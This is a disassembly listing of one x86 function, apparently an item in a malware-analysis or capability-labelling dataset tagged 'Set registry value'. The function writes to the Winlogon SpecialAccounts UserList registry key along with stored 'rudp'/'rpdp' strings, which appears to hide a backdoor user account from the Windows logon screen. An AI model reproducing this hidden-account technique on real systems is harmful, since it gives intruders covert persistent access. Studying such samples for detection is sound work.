Function at 0x1000e3fa
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 6
pop ecx
lea eax, [ebp - 0x28]
mov edi, 0x1014e020
lea esi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov esi, 0x1014e020
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [0x1014e084], edi
mov dword [0x1014e078], 0x1014d000
mov dword [0x1014e074], ebx
call fcn.1000de1f
test eax, eax
je 0x1000e554
push str.rudp
lea ecx, [ebp + 8]
call fcn.100035e5
push eax
lea eax, [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.1001168e
push eax
mov ecx, 0x1014e07c
call fcn.10003437
mov ecx, dword [ebp + 0xc]
call fcn.10005ea5
mov ecx, dword [ebp + 8]
xor esi, esi
mov dword [ebp + 0xc], esi
call fcn.10005ea5
push str.rpdp
lea ecx, [ebp + 8]
call fcn.100035e5
push eax
lea eax, [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.1001168e
mov ebx, 0x1014e080
push eax
mov ecx, ebx
call fcn.10003437
mov ecx, dword [ebp + 0xc]
call fcn.10005ea5
mov ecx, dword [ebp + 8]
mov dword [ebp + 0xc], esi
call fcn.10005ea5
mov ecx, 0x1014e07c
call fcn.10003261
test eax, eax
jne 0x1000e52c
mov ecx, ebx
call fcn.10003261
test eax, eax
jne 0x1000e52c
mov ebx, 0x10014648
lea ecx, [ebp + 8]
push ebx
call fcn.100035e5
push eax
push ebx
lea ecx, [ebp + 0xc]
call fcn.100035e5
push eax
push 8
lea ecx, [ebp - 0x20]
call fcn.10004b91
push eax
mov ecx, edi
call fcn.10004f2b
lea ecx, [ebp - 0x20]
call fcn.10004b6e
mov ecx, dword [ebp + 0xc]
call fcn.10005ea5
mov ecx, dword [ebp + 8]
mov dword [ebp + 0xc], esi
call fcn.10005ea5
jmp 0x1000e54c
push ebx
push 0x1014e07c
push 8
lea ecx, [ebp - 0x20]
call fcn.10004b91
push eax
mov ecx, edi
call fcn.10004f2b
lea ecx, [ebp - 0x20]
call fcn.10004b6e
xor esi, esi
inc esi
jmp 0x1000e658
call fcn.1000f51d
cmp eax, 6
jb 0x1000e6cf
call fcn.1000f4ce
test eax, eax
jne 0x1000e6cf
call fcn.1000fbfc
cmp eax, 1
je 0x1000e5a4
push 0x1014e080
push 0x1014e07c
push 1
lea ecx, [ebp - 0x20]
call fcn.10004b91
push eax
mov ecx, edi
call fcn.10004f2b
lea ecx, [ebp - 0x20]
call fcn.10004b6e
xor esi, esi
jmp 0x1000e658
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.100034a7
push eax
mov ecx, 0x1014e07c
call fcn.10003437
mov ecx, dword [ebp + 8]
call fcn.10005ea5
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.100034a7
mov ebx, 0x1014e080
push eax
mov ecx, ebx
call fcn.10003437
mov ecx, dword [ebp + 8]
call fcn.10005ea5
lea eax, [ebp - 0x10]
xor esi, esi
push eax
lea eax, [ebp - 8]
push eax
push esi
push 0xf013f
push esi
push esi
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserList
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
push 4
push esi
push dword [0x1014e07c]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 0x1014e07c
call fcn.1000d418
test eax, eax
jne 0x1000e66b
push ebx
push 0x1014e07c
push 9
lea ecx, [ebp - 0x20]
call fcn.10004b91
push eax
mov ecx, edi
call fcn.10004f2b
lea ecx, [ebp - 0x20]
call fcn.10004b6e
mov edi, 0x1014e020
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
jmp 0x1000e6fc
push 0x1014e07c
push str.rudp
lea ecx, [ebp + 8]
call fcn.100035e5
mov esi, dword [ebp + 0xc]
mov ecx, esi
push eax
call fcn.1001165b
mov ecx, dword [ebp + 8]
call fcn.10005ea5
push ebx
push str.rpdp
lea ecx, [ebp + 0xc]
call fcn.100035e5
push eax
mov ecx, esi
call fcn.1001165b
mov ecx, dword [ebp + 0xc]
call fcn.10005ea5
mov edi, 0x1014e020
mov ecx, 0x1014e038
push edi
push 0x1000e2e7
call fcn.10001f4b
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
inc eax
jmp 0x1000e6fc
push 0x1014e080
push 0x1014e07c
push 2
lea ecx, [ebp - 0x20]
call fcn.10004b91
push eax
mov ecx, edi
call fcn.10004f2b
lea ecx, [ebp - 0x20]
call fcn.10004b6e
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc